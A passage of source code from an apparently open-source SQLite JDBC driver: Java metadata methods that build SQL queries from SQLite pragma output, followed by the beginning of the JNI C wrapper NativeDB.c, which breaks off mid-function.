        rs = getColumnsTblName.executeQuery();



        if (!rs.next())



            return rs;



        tbl = rs.getString(1);



        rs.close();







        sql = "select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, " + "'" + escape(tbl) + "' as TABLE_NAME, "



                + "cn as COLUMN_NAME, " + "ct as DATA_TYPE, " + "tn as TYPE_NAME, " + "2000000000 as COLUMN_SIZE, "



                + "2000000000 as BUFFER_LENGTH, " + "10   as DECIMAL_DIGITS, " + "10   as NUM_PREC_RADIX, "



                + "colnullable as NULLABLE, " + "null as REMARKS, " + "null as COLUMN_DEF, "



                + "0    as SQL_DATA_TYPE, " + "0    as SQL_DATETIME_SUB, " + "2000000000 as CHAR_OCTET_LENGTH, "



                + "ordpos as ORDINAL_POSITION, " + "(case colnullable when 0 then 'N' when 1 then 'Y' else '' end)"



                + "    as IS_NULLABLE, " + "null as SCOPE_CATLOG, " + "null as SCOPE_SCHEMA, "



                + "null as SCOPE_TABLE, " + "null as SOURCE_DATA_TYPE from (";







        // the command "pragma table_info('tablename')" does not embed



        // like a normal select statement so we must extract the information



        // and then build a resultset from unioned select statements



        rs = stat.executeQuery("pragma table_info ('" + escape(tbl) + "');");







        boolean colFound = false;



        for (int i = 0; rs.next(); i++) {



            String colName = rs.getString(2);



            String colType = rs.getString(3);



            String colNotNull = rs.getString(4);







            int colNullable = 2;



            if (colNotNull != null)



                colNullable = colNotNull.equals("0") ? 1 : 0;



            if (colFound)



                sql += " union all ";



            colFound = true;







            colType = colType == null ? "TEXT" : colType.toUpperCase();



            int colJavaType = -1;



            if (colType.equals("INT") || colType.equals("INTEGER"))



                colJavaType = Types.INTEGER;



            else if (colType.equals("TEXT"))



                colJavaType = Types.VARCHAR;



            else if (colType.equals("FLOAT"))



                colJavaType = Types.FLOAT;



            else



                colJavaType = Types.VARCHAR;







            sql += "select " + i + " as ordpos, " + colNullable + " as colnullable, '" + colJavaType + "' as ct, '"



                    + escape(colName) + "' as cn, '" + escape(colType) + "' as tn";







            if (colPat != null)



                sql += " where upper(cn) like upper('" + escape(colPat) + "')";



        }



        sql += colFound ? ");" : "select null as ordpos, null as colnullable, " + "null as cn, null as tn) limit 0;";



        rs.close();







        return stat.executeQuery(sql);



    }







    public ResultSet getCrossReference(String pc, String ps, String pt, String fc, String fs, String ft)



            throws SQLException {







        if (pt == null)



            return getExportedKeys(fc, fs, ft);



        if (ft == null)



            return getImportedKeys(pc, ps, pt);







        StringBuilder query = new StringBuilder();



        query.append(String.format("select %s as PKTABLE_CAT, %s as PKTABLE_SCHEM, %s as PKTABLE_NAME, ", quote(pc),



                quote(ps), quote(pt))



                + "'' as PKCOLUMN_NAME, "



                + String.format("%s as FKTABLE_CAT, %s as FKTABLE_SCHEM,  %s as FKTABLE_NAME, ", quote(fc), quote(fs),



                        quote(ft))



                + "'' as FKCOLUMN_NAME, -1 as KEY_SEQ, 3 as UPDATE_RULE, "



                + "3 as DELETE_RULE, '' as FK_NAME, '' as PK_NAME, "



                + Integer.toString(importedKeyInitiallyDeferred)



                + " as DEFERRABILITY limit 0;");



        return conn.createStatement().executeQuery(query.toString());



    }







    public ResultSet getSchemas() throws SQLException {



        if (getSchemas == null)



            getSchemas = conn.prepareStatement("select " + "null as TABLE_SCHEM, " + "null as TABLE_CATALOG "



                    + "limit 0;");



        getSchemas.clearParameters();



        return getSchemas.executeQuery();



    }







    public ResultSet getCatalogs() throws SQLException {



        if (getCatalogs == null)



            getCatalogs = conn.prepareStatement("select null as TABLE_CAT limit 0;");



        getCatalogs.clearParameters();



        return getCatalogs.executeQuery();



    }







    public ResultSet getPrimaryKeys(String c, String s, String table) throws SQLException {



        String sql;



        ResultSet rs;



        Statement stat = conn.createStatement();







        rs = stat.executeQuery("pragma table_info('" + escape(table) + "');");







        sql = "select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, " + "'" + escape(table) + "' as TABLE_NAME, "



                + "cn as COLUMN_NAME, " + "0 as KEY_SEQ, " + "null as PK_NAME from (";







        int i;



        for (i = 0; rs.next(); i++) {



            String colName = rs.getString(2);







            if (!rs.getBoolean(6)) {



                i--;



                continue;



            }



            if (i > 0)



                sql += " union all ";







            sql += "select '" + escape(colName) + "' as cn";



        }



        sql += i == 0 ? "select null as cn) limit 0;" : ");";



        rs.close();







        return stat.executeQuery(sql);



    }







    private static String quote(String tableName) {



        if (tableName == null)



            return "null";



        else



            return String.format("'%s'", tableName);



    }







    public ResultSet getExportedKeys(String catalog, String schema, String table) throws SQLException {







        StringBuilder exportedKeysQuery = new StringBuilder();



        exportedKeysQuery.append(String.format("select %s as PKTABLE_CAT, %s as PKTABLE_SCHEM, %s as PKTABLE_NAME, ",



                quote(catalog), quote(schema), quote(table))



                + String.format("pcn as PKCOLUMN_NAME, %s as FKTABLE_CAT, %s as FKTABLE_SCHEM, ", quote(catalog),



                        quote(schema))



                + "fkn as FKTABLE_NAME, fcn as FKCOLUMN_NAME, "



                + "ks as KEY_SEQ, "



                + "ur as UPDATE_RULE, "



                + "dr as DELETE_RULE, "



                + "'' as FK_NAME, "



                + "'' as PK_NAME, "



                + Integer.toString(importedKeyInitiallyDeferred) + " as DEFERRABILITY from (");







        // retrieve table list



        String tableListQuery = String.format("select name from sqlite_master where type = 'table'");



        Statement stat = conn.createStatement();



        ResultSet rs = stat.executeQuery(tableListQuery);



        ArrayList<String> tableList = new ArrayList<String>();



        while (rs.next())



            tableList.add(rs.getString(1));



        rs.close();







        // find imported keys for each table



        int count = 0;



        for (String targetTable : tableList) {



            String foreignKeyQuery = String.format("pragma foreign_key_list('%s');", escape(targetTable));







            try {



                ResultSet fk = stat.executeQuery(foreignKeyQuery);



                for (; fk.next();) {



                    int keySeq = fk.getInt(2) + 1;



                    String PKTabName = fk.getString(3);



                    String FKColName = fk.getString(4);



                    String PKColName = fk.getString(5);



                    String updateRule = fk.getString(6);



                    String deleteRule = fk.getString(7);







                    if (PKTabName == null || !PKTabName.equals(table))



                        continue;







                    if (count > 0)



                        exportedKeysQuery.append(" union all ");







                    exportedKeysQuery.append("select " + Integer.toString(keySeq) + " as ks," + "'"



                            + escape(targetTable) + "' as fkn," + "'" + escape(FKColName) + "' as fcn," + "'"



                            + escape(PKColName) + "' as pcn," + String.format("case '%s' ", escape(updateRule))



                            + String.format("when 'NO ACTION' then %d ", importedKeyNoAction)



                            + String.format("when 'CASCADE' then %d ", importedKeyCascade)



                            + String.format("when 'RESTRICT' then %d  ", importedKeyRestrict)



                            + String.format("when 'SET NULL' then %d  ", importedKeySetNull)



                            + String.format("when 'SET DEFAULT' then %d  ", importedKeySetDefault) + "end as ur,"



                            + String.format("case '%s' ", escape(deleteRule))



                            + String.format("when 'NO ACTION' then %d ", importedKeyNoAction)



                            + String.format("when 'CASCADE' then %d ", importedKeyCascade)



                            + String.format("when 'RESTRICT' then %d  ", importedKeyRestrict)



                            + String.format("when 'SET NULL' then %d  ", importedKeySetNull)



                            + String.format("when 'SET DEFAULT' then %d  ", importedKeySetDefault) + "end as dr");







                    count++;



                }







                exportedKeysQuery.append(");");



                fk.close();



            }



            catch (SQLException e) {



                // continue



            }



        }







        String sql = (count > 0) ? exportedKeysQuery.toString() : (String.format(



                "select %s as PKTABLE_CAT, %s as PKTABLE_SCHEM, %s as PKTABLE_NAME, ", quote(catalog), quote(schema),



                quote(table))



                + "'' as PKCOLUMN_NAME, "



                + String.format("%s as FKTABLE_CAT, %s as FKTABLE_SCHEM, ", quote(catalog), quote(schema))



                + "'' as FKTABLE_NAME, "



                + "'' as FKCOLUMN_NAME, "



                + "-1 as KEY_SEQ, "



                + "3 as UPDATE_RULE, "



                + "3 as DELETE_RULE, " + "'' as FK_NAME, " + "'' as PK_NAME, " + "5 as DEFERRABILITY limit 0;");



        return stat.executeQuery(sql);



    }







    public ResultSet getImportedKeys(String catalog, String schema, String table) throws SQLException {



        String sql;



        ResultSet rs = null;



        Statement stat = conn.createStatement();







        sql = String.format("select %s as PKTABLE_CAT, %s as PKTABLE_SCHEM, ", quote(catalog), quote(schema))



                + String



                        .format(



                                "ptn as PKTABLE_NAME, pcn as PKCOLUMN_NAME, %s as FKTABLE_CAT, %s as FKTABLE_SCHEM, %s as FKTABLE_NAME, ",



                                quote(catalog), quote(schema), quote(table)) + "fcn as FKCOLUMN_NAME, "



                + "ks as KEY_SEQ, " + "ur as UPDATE_RULE, " + "dr as DELETE_RULE, " + "'' as FK_NAME, "



                + "'' as PK_NAME, " + Integer.toString(importedKeyInitiallyDeferred) + " as DEFERRABILITY from (";







        // Use a try catch block to avoid "query does not return ResultSet" error



        try {



            rs = stat.executeQuery("pragma foreign_key_list('" + escape(table) + "');");



            int i;



            for (i = 0; rs.next(); i++) {



                int keySeq = rs.getInt(2) + 1;



                String PKTabName = rs.getString(3);



                String FKColName = rs.getString(4);



                String PKColName = rs.getString(5);



                String updateRule = rs.getString(6);



                String deleteRule = rs.getString(7);







                if (i > 0)



                    sql += " union all ";







                sql += String.format("select %d as ks,", keySeq)



                        + String.format("'%s' as ptn, '%s' as fcn, '%s' as pcn,", escape(PKTabName), escape(FKColName),



                                escape(PKColName)) + String.format("case '%s' ", escape(updateRule))



                        + String.format("when 'NO ACTION' then %d ", importedKeyNoAction)



                        + String.format("when 'CASCADE' then %d ", importedKeyCascade)



                        + String.format("when 'RESTRICT' then %d  ", importedKeyRestrict)



                        + String.format("when 'SET NULL' then %d  ", importedKeySetNull)



                        + String.format("when 'SET DEFAULT' then %d  ", importedKeySetDefault) + "end as ur,"



                        + String.format("case '%s' ", escape(deleteRule))



                        + String.format("when 'NO ACTION' then %d ", importedKeyNoAction)



                        + String.format("when 'CASCADE' then %d ", importedKeyCascade)



                        + String.format("when 'RESTRICT' then %d  ", importedKeyRestrict)



                        + String.format("when 'SET NULL' then %d  ", importedKeySetNull)



                        + String.format("when 'SET DEFAULT' then %d  ", importedKeySetDefault) + "end as dr";



            }



            sql += ");";



            rs.close();



        }



        catch (SQLException e) {



            sql += "select -1 as ks, '' as ptn, '' as fcn, '' as pcn, " + importedKeyNoAction + " as ur, "



                    + importedKeyNoAction + " as dr) limit 0;";



        }







        return stat.executeQuery(sql);



    }







    public ResultSet getIndexInfo(String c, String s, String t, boolean u, boolean approximate) throws SQLException {



        String sql;



        ResultSet rs = null;



        Statement stat = conn.createStatement();







        sql = "select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, " + "'" + escape(t) + "' as TABLE_NAME, "



                + "un as NON_UNIQUE, " + "null as INDEX_QUALIFIER, " + "n as INDEX_NAME, "



                + Integer.toString(tableIndexOther) + " as TYPE, " + "op as ORDINAL_POSITION, " + "cn as COLUMN_NAME, "



                + "null as ASC_OR_DESC, " + "0 as CARDINALITY, " + "0 as PAGES, " + "null as FILTER_CONDITION from (";







        // Use a try catch block to avoid "query does not return ResultSet" error



        try {



            ArrayList<ArrayList> indexList = new ArrayList<ArrayList>();







            rs = stat.executeQuery("pragma index_list('" + escape(t) + "');");



            while (rs.next()) {



                indexList.add(new ArrayList());



                indexList.get(indexList.size() - 1).add(rs.getString(2));



                indexList.get(indexList.size() - 1).add(rs.getInt(3));



            }



            rs.close();







            int i = 0;



            Iterator indexIterator = indexList.iterator();



            ArrayList currentIndex;



            while (indexIterator.hasNext()) {



                currentIndex = (ArrayList) indexIterator.next();



                String indexName = currentIndex.get(0).toString();



                int unique = (Integer) currentIndex.get(1);







                rs = stat.executeQuery("pragma index_info('" + escape(indexName) + "');");



                for (; rs.next(); i++) {







                    int ordinalPosition = rs.getInt(1) + 1;



                    String colName = rs.getString(3);







                    if (i > 0)



                        sql += " union all ";







                    sql += "select " + Integer.toString(1 - unique) + " as un," + "'" + escape(indexName) + "' as n,"



                            + Integer.toString(ordinalPosition) + " as op," + "'" + escape(colName) + "' as cn";



                    i++;



                }



                rs.close();



            }



            sql += ");";



        }



        catch (SQLException e) {



            sql += "select null as un, null as n, null as op, null as cn) limit 0;";



        }







        return stat.executeQuery(sql);



    }







    public ResultSet getProcedureColumns(String c, String s, String p, String colPat) throws SQLException {



        if (getProcedures == null)



            getProcedureColumns = conn.prepareStatement("select " + "null as PROCEDURE_CAT, "



                    + "null as PROCEDURE_SCHEM, " + "null as PROCEDURE_NAME, " + "null as COLUMN_NAME, "



                    + "null as COLUMN_TYPE, " + "null as DATA_TYPE, " + "null as TYPE_NAME, " + "null as PRECISION, "



                    + "null as LENGTH, " + "null as SCALE, " + "null as RADIX, " + "null as NULLABLE, "



                    + "null as REMARKS limit 0;");



        return getProcedureColumns.executeQuery();







    }







    public ResultSet getProcedures(String c, String s, String p) throws SQLException {



        if (getProcedures == null)



            getProcedures = conn.prepareStatement("select " + "null as PROCEDURE_CAT, " + "null as PROCEDURE_SCHEM, "



                    + "null as PROCEDURE_NAME, " + "null as UNDEF1, " + "null as UNDEF2, " + "null as UNDEF3, "



                    + "null as REMARKS, " + "null as PROCEDURE_TYPE limit 0;");



        return getProcedures.executeQuery();



    }







    public ResultSet getSuperTables(String c, String s, String t) throws SQLException {



        if (getSuperTables == null)



            getSuperTables = conn.prepareStatement("select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, "



                    + "null as TABLE_NAME, " + "null as SUPERTABLE_NAME limit 0;");



        return getSuperTables.executeQuery();



    }







    public ResultSet getSuperTypes(String c, String s, String t) throws SQLException {



        if (getSuperTypes == null)



            getSuperTypes = conn.prepareStatement("select " + "null as TYPE_CAT, " + "null as TYPE_SCHEM, "



                    + "null as TYPE_NAME, " + "null as SUPERTYPE_CAT, " + "null as SUPERTYPE_SCHEM, "



                    + "null as SUPERTYPE_NAME limit 0;");



        return getSuperTypes.executeQuery();



    }







    public ResultSet getTablePrivileges(String c, String s, String t) throws SQLException {



        if (getTablePrivileges == null)



            getTablePrivileges = conn.prepareStatement("select " + "null as TABLE_CAT, " + "null as TABLE_SCHEM, "



                    + "null as TABLE_NAME, " + "null as GRANTOR, " + "null as GRANTEE, " + "null as PRIVILEGE, "



                    + "null as IS_GRANTABLE limit 0;");



        return getTablePrivileges.executeQuery();



    }







    public synchronized ResultSet getTables(String c, String s, String t, String[] types) throws SQLException {



        checkOpen();







        t = (t == null || "".equals(t)) ? "%" : t.toUpperCase();







        String sql = "select" + " null as TABLE_CAT," + " null as TABLE_SCHEM," + " name as TABLE_NAME,"



                + " upper(type) as TABLE_TYPE," + " null as REMARKS," + " null as TYPE_CAT," + " null as TYPE_SCHEM,"



                + " null as TYPE_NAME," + " null as SELF_REFERENCING_COL_NAME," + " null as REF_GENERATION"



                + " from (select name, type from sqlite_master union all"



                + "       select name, type from sqlite_temp_master)" + " where TABLE_NAME like '" + escape(t) + "'";







        if (types != null) {



            sql += " and TABLE_TYPE in (";



            for (int i = 0; i < types.length; i++) {



                if (i > 0)



                    sql += ", ";



                sql += "'" + types[i].toUpperCase() + "'";



            }



            sql += ")";



        }







        sql += ";";







        return conn.createStatement().executeQuery(sql);



    }







    public ResultSet getTableTypes() throws SQLException {



        checkOpen();



        if (getTableTypes == null)



            getTableTypes = conn.prepareStatement("select 'TABLE' as TABLE_TYPE"



                    + " union select 'VIEW' as TABLE_TYPE;");



        getTableTypes.clearParameters();



        return getTableTypes.executeQuery();



    }







    public ResultSet getTypeInfo() throws SQLException {



        if (getTypeInfo == null) {



            getTypeInfo = conn.prepareStatement("select " + "tn as TYPE_NAME, " + "dt as DATA_TYPE, "



                    + "0 as PRECISION, " + "null as LITERAL_PREFIX, " + "null as LITERAL_SUFFIX, "



                    + "null as CREATE_PARAMS, "



                    + typeNullable



                    + " as NULLABLE, "



                    + "1 as CASE_SENSITIVE, "



                    + typeSearchable



                    + " as SEARCHABLE, "



                    + "0 as UNSIGNED_ATTRIBUTE, "



                    + "0 as FIXED_PREC_SCALE, "



                    + "0 as AUTO_INCREMENT, "



                    + "null as LOCAL_TYPE_NAME, "



                    + "0 as MINIMUM_SCALE, "



                    + "0 as MAXIMUM_SCALE, "



                    + "0 as SQL_DATA_TYPE, "



                    + "0 as SQL_DATETIME_SUB, "



                    + "10 as NUM_PREC_RADIX from ("



                    + "    select 'BLOB' as tn, "



                    + Types.BLOB



                    + " as dt union"



                    + "    select 'NULL' as tn, "



                    + Types.NULL



                    + " as dt union"



                    + "    select 'REAL' as tn, "



                    + Types.REAL



                    + " as dt union"



                    + "    select 'TEXT' as tn, "



                    + Types.VARCHAR



                    + " as dt union"



                    + "    select 'INTEGER' as tn, "



                    + Types.INTEGER + " as dt" + ") order by TYPE_NAME;");



        }







        getTypeInfo.clearParameters();



        return getTypeInfo.executeQuery();



    }







    public ResultSet getUDTs(String c, String s, String t, int[] types) throws SQLException {



        if (getUDTs == null)



            getUDTs = conn.prepareStatement("select " + "null as TYPE_CAT, " + "null as TYPE_SCHEM, "



                    + "null as TYPE_NAME, " + "null as CLASS_NAME, " + "null as DATA_TYPE, " + "null as REMARKS, "



                    + "null as BASE_TYPE " + "limit 0;");







        getUDTs.clearParameters();



        return getUDTs.executeQuery();



    }







    public ResultSet getVersionColumns(String c, String s, String t) throws SQLException {



        if (getVersionColumns == null)



            getVersionColumns = conn.prepareStatement("select " + "null as SCOPE, " + "null as COLUMN_NAME, "



                    + "null as DATA_TYPE, " + "null as TYPE_NAME, " + "null as COLUMN_SIZE, "



                    + "null as BUFFER_LENGTH, " + "null as DECIMAL_DIGITS, " + "null as PSEUDO_COLUMN limit 0;");



        return getVersionColumns.executeQuery();



    }







    ResultSet getGeneratedKeys() throws SQLException {



        if (getGeneratedKeys == null)



            getGeneratedKeys = conn.prepareStatement("select last_insert_rowid();");



        return getGeneratedKeys.executeQuery();



    }







    /** Replace all instances of ' with '' */



    private String escape(final String val) {



        // TODO: this function is ugly, pass this work off to SQLite, then we



        //       don't have to worry about Unicode 4, other characters needing



        //       escaping, etc.



        int len = val.length();



        StringBuffer buf = new StringBuffer(len);



        for (int i = 0; i < len; i++) {



            if (val.charAt(i) == '\'')



                buf.append('\'');



            buf.append(val.charAt(i));



        }



        return buf.toString();



    }







    public Struct createStruct(String t, Object[] attr) throws SQLException {



        throw new SQLException("Not yet implemented by SQLite JDBC driver");



    }







    public ResultSet getFunctionColumns(String a, String b, String c, String d) throws SQLException {



        throw new SQLException("Not yet implemented by SQLite JDBC driver");



    }



}










org/sqlite/NativeDB.c


/*
 * Copyright (c) 2007 David Crawshaw <david@zentus.com>
 * 
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "NativeDB.h"
#include "sqlite3.h"

static jclass dbclass = 0;
static jclass  fclass = 0;
static jclass  aclass = 0;
static jclass pclass = 0;

static void * toref(jlong value)
{
    jvalue ret;
    ret.j = value;
    return (void *) ret.l;
}

static jlong fromref(void * value)
{
    jvalue ret;
    ret.l = value;
    return ret.j;
}

static void throwex(JNIEnv *env, jobject this)
{
    static jmethodID mth_throwex = 0;

    if (!mth_throwex)
        mth_throwex = (*env)->GetMethodID(env, dbclass, "throwex", "()V");

    (*env)->CallVoidMethod(env, this, mth_throwex);
}

static void throw_errorcode(JNIEnv *env, jobject this, int errorCode)
{
    static jmethodID mth_throwex = 0;

    if (!mth_throwex)
        mth_throwex = (*env)->GetMethodID(env, dbclass, "throwex", "(I)V");

    (*env)->CallVoidMethod(env, this, mth_throwex, (jint) errorCode);
}

static void throwexmsg(JNIEnv *env, const char *str)
{
    static jmethodID mth_throwexmsg = 0;

    if (!mth_throwexmsg) mth_throwexmsg = (*env)->GetStaticMethodID(
            env, dbclass, "throwex", "(Ljava/lang/String;)V");

    (*env)->CallStaticVoidMethod(env, dbclass, mth_throwexmsg,
                                (*env)->NewStringUTF(env, str));
}

static void throw_errorcod_and_msg(JNIEnv *env, int errorCode, const char *str)
{
    static jmethodID mth_throwexmsg = 0;

    if (!mth_throwexmsg) mth_throwexmsg = (*env)->GetStaticMethodID(
            env, dbclass, "throwex", "(ILjava/lang/String;)V");

    (*env)->CallStaticVoidMethod(env, dbclass, mth_throwexmsg, (jint) errorCode,
                                (*env)->NewStringUTF(env, str));
}


static sqlite3 * gethandle(JNIEnv *env, jobject this)
{
    static jfieldID pointer = 0;
    if (!pointer) pointer = (*env)->GetFieldID(env, dbclass, "pointer", "J");

    return (sqlite3 *)toref((*env)->GetLongField(env, this, pointer));
}

static void sethandle(JNIEnv *env, jobject this, sqlite3 * ref)
{
    static jfieldID pointer = 0;
    if (!pointer) pointer = (*env)->GetFieldID(env, dbclass, "pointer", "J");

    (*env)->SetLongField(env, this, pointer, fromref(ref));
}

/* Returns number of 16-bit blocks in UTF-16 string, not including null. */
static jsize jstrlen(const jchar *str)
{
    const jchar *s;
    for (s = str; *s; s++);
    return (jsize)(s - str);
}


// User Defined Function SUPPORT ////////////////////////////////////

struct UDFData {
    JavaVM *vm;
    jobject func;
    struct UDFData *next;  // linked list of all UDFData instances
};

/* Returns the sqlite3_value for the given arg of the given function.
 * If 0 is returned, an exception has been thrown to report the reason. */
static sqlite3_value * tovalue(JNIEnv *env, jobject function, jint arg)
{
    jlong value_pntr = 0;
    jint numArgs = 0;
    static jfieldID func_value = 0,
                    func_args = 0;

    if (!func_value || !func_args) {
        func_value = (*env)->GetFieldID(env, fclass, "value", "J");
        func_args  = (*env)->GetFieldID(env, fclass, "args", "I");
    }

    // check we have any business being here
    if (arg  < 0) { throwexmsg(env, "negative arg out of range"); return 0; }
    if (!function) { throwexmsg(env, "inconstent function"); return 0; }

    value_pntr = (*env)->GetLongField(env, function, func_value);
    numArgs = (*env)->GetIntField(env, function, func_args);

    if (value_pntr == 0) { throwexmsg(env, "no current value"); return 0; }
    if (arg >= numArgs) { throwexmsg(env, "arg out of range"); return 0; }

    return ((sqlite3_value**)toref(value_pntr))[arg];
}

/* called if an exception occured processing xFunc */
static void xFunc_error(sqlite3_context *context, JNIEnv *env)
{
    const char *strmsg = 0;
    jstring msg = 0;
    jint msgsize = 0;

    jclass exclass = 0;
    static jmethodID exp_msg = 0;
    jthrowable ex = (*env)->ExceptionOccurred(env);

    (*env)->ExceptionClear(env);

    if (!exp_msg) {
        exclass = (*env)->FindClass(env, "java/lang/Throwable");
        exp_msg = (*env)->GetMethodID(
                env, exclass, "toString", "()Ljava/lang/String;");
    }

    msg = (jstring)(*env)->CallObjectMethod(env, ex, exp_msg);
    if (!msg) { sqlite3_result_error(context, "unknown error", 13); return; }

    msgsize = (*env)->GetStringUTFLength(env, msg);
    strmsg = (*env)->GetStringUTFChars(env, msg, 0);
    assert(strmsg); // out-of-memory

    sqlite3_result_error(context, strmsg, msgsize);

    (*env)->ReleaseStringUTFChars(env, msg, strmsg);
}

/* used to call xFunc, xStep and xFinal */
static xCall(
    sqlite3_context *context,
    int args,
    sqlite3_value** value,
    jobject func,
    jmethodID method)
{
    static jfieldID fld_context = 0,
                     fld_value = 0,
                     fld_args = 0;
    JNIEnv *env = 0;
    struct UDFData *udf = 0;

    udf = (struct UDFData*)sqlite3_user_data(context);
    assert(udf);
    (*udf->vm)->AttachCurrentThread(udf->vm, (void **)&env, 0);
    if (!func) func = udf->func;

    if (!fld_context || !fld_value || !fld_args) {
        fld_context = (*env)->GetFieldID(env, fclass, "context", "J");
        fld_value   = (*env)->GetFieldID(env, fclass, "value", "J");
        fld_args    = (*env)->GetFieldID(env, fclass, "args", "I");
    }

    (*env)->SetLongField(env, func, fld_context, fromref(context));
    (*env)->SetLongField(env, func, fld_value, value ? fromref(value) : 0);
    (*env)->SetIntField(env, func, fld_args, args);

    (*env)->CallVoidMethod(env, func, method);

    (*env)->SetLongField(env, func, fld_context, 0);
    (*env)->SetLongField(env, func, fld_value, 0);
    (*env)->SetIntField(env, func, fld_args, 0);

    // check if xFunc threw an Exception
    if ((*env)->ExceptionCheck(env)) xFunc_error(context, env);
}


void xFunc(sqlite3_context *context, int args, sqlite3_value** value)
{
    static jmethodID mth = 0;
    if (!mth) {
        JNIEnv *env;
        struct UDFData *udf = (struct UDFData*)sqlite3_user_data(context);
        (*udf->vm)->AttachCurrentThread(udf->vm, (void **)&env, 0);
        mth = (*env)->GetMethodID(env, fclass, "xFunc", "()V");
    }
    xCall(context, args, value, 0, mth);
}

void xStep(sqlite3_context *context, int args, sqlite3_value** value)
{
    JNIEnv *env;
    struct UDFData *udf;
    jobject *func = 0;
    static jmethodID mth = 0;
    static jmethodID clone = 0;

    if (!mth || !clone) {
        udf = (struct UDFData*)sqlite3_user_data(context);
        (*udf->vm)->AttachCurrentThread(udf->vm, (void **)&env, 0);

        mth = (*env)->GetMethodID(env, aclass, "xStep", "()V");
        clone = (*env)->GetMethodID(env, aclass, "clone",
            "()Ljava/lang/Object;");
    }

    // clone the Function.Aggregate instance and store a pointer
    // in SQLite's aggregate_context (clean up in xFinal)
    func = sqlite3_aggregate_context(context, sizeof(jobject));
    if (!*func) {
        udf = (struct UDFData*)sqlite3_user_data(context);
        (*udf->vm)->AttachCurrentThread(udf->vm, (void **)&env, 0);

        *func = (*env)->CallObjectMethod(env, udf->func, clone);
        *func = (*env)->NewGlobalRef(env, *func);
    }

    xCall(context, args, value, *func, mth);
}

void xFinal(sqlite3_context *context)
{
    JNIEnv *env = 0;
    struct UDFData *udf = 0;
    jobject *func = 0;
    static jmethodID mth = 0;

    udf = (struct UDFData*)sqlite3_user_data(context);
    (*udf->vm)->AttachCurrentThread(udf->vm, (void **)&env, 0);

    if (!mth) mth = (*env)->GetMethodID(env, aclass, "xFinal", "()V");

    func = sqlite3_aggregate_context(context, sizeof(jobject));
    assert(*func); // disaster

    xCall(context, 0, 0, *func, mth);

    // clean up Function.Aggregate instance
    (*env)->DeleteGlobalRef(env, *func);
}


// INITIALISATION ///////////////////////////////////////////////////

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved)
{
    JNIEnv* env = 0;

    if (JNI_OK != (*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_2))
        return JNI_ERR;

    dbclass = (*env)->FindClass(env, "org/sqlite/NativeDB");
    if (!dbclass) return JNI_ERR;
    dbclass = (*env)->NewGlobalRef(env, dbclass);

    fclass = (*env)->FindClass(env, "org/sqlite/Function");
    if (!fclass) return JNI_ERR;
    fclass = (*env)->NewGlobalRef(env, fclass);

    aclass = (*env)->FindClass(env, "org/sqlite/Function$Aggregate");
    if (!aclass) return JNI_ERR;
    aclass = (*env)->NewGlobalRef(env, aclass);

	pclass = (*env)->FindClass(env, "org/sqlite/DB$ProgressObserver");
	if(!pclass) return JNI_ERR;
	pclass = (*env)->NewGlobalRef(env, pclass);

    return JNI_VERSION_1_2;
}


// WRAPPERS for sqlite_* functions //////////////////////////////////

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_shared_1cache(
        JNIEnv *env, jobject this, jboolean enable)
{
    return sqlite3_enable_shared_cache(enable ? 1 : 0);
}


JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB_enable_1load_1extension(
        JNIEnv *env, jobject this, jboolean enable)
{
	return sqlite3_enable_load_extension(gethandle(env, this), enable ? 1 : 0);
}


JNIEXPORT void JNICALL Java_org_sqlite_NativeDB__1open(
        JNIEnv *env, jobject this, jstring file, jint flags)
{
    int ret;
    sqlite3 *db = gethandle(env, this);
    const char *str;

    if (db) {
        throwexmsg(env, "DB already open");
        sqlite3_close(db);
        return;
    }

    str = (*env)->GetStringUTFChars(env, file, 0);
    ret = sqlite3_open_v2(str, &db, flags, NULL); 
    if (ret) {
        throw_errorcode(env, this, ret);
        sqlite3_close(db);
        return;
    }
    (*env)->ReleaseStringUTFChars(env, file, str);

    sethandle(env, this, db);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB__1close(
        JNIEnv *env, jobject this)
{
    if (sqlite3_close(gethandle(env, this)) != SQLITE_OK)
        throwex(env, this);
    sethandle(env, this, 0);
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_interrupt(JNIEnv *env, jobject this)
{
    sqlite3_interrupt(gethandle(env, this));
}

JNIEXPORT void JNICALL Java_org_sqlite_NativeDB_busy_1timeout(
    JNIEnv *env, jobject this, jint ms)
{
    sqlite3_busy_timeout(gethandle(env, this), ms);
}

JNIEXPORT jlong JNICALL Java_org_sqlite_NativeDB_prepare(
        JNIEnv *env, jobject this, jstring sql)
{
    sqlite3* db = gethandle(env, this);
    sqlite3_stmt* stmt;

    const char *strsql = (*env)->GetStringUTFChars(env, sql, 0);
    int status = sqlite3_prepare_v2(db, strsql, -1, &stmt, 0);
    (*env)->ReleaseStringUTFChars(env, sql, strsql);

    if (status != SQLITE_OK) {
        throw_errorcode(env, this, status);
        return fromref(0);
    }
    return fromref(stmt);
}

JNIEXPORT jint JNICALL Java_org_sqlite_NativeDB__1exec(
        JNIEnv *env, jobject this, jstring sql)
{
    sqlite3* db = gethandle(env, this);
    sqlite3_stmt* stmt;
	
	if(!db)
	{
		throw_errorcode(env, this, 21);
		return 21;
	}

    const char *strsql = (*env)->GetStringUTFChars(env, sql, 0);
    char* errorMsg;
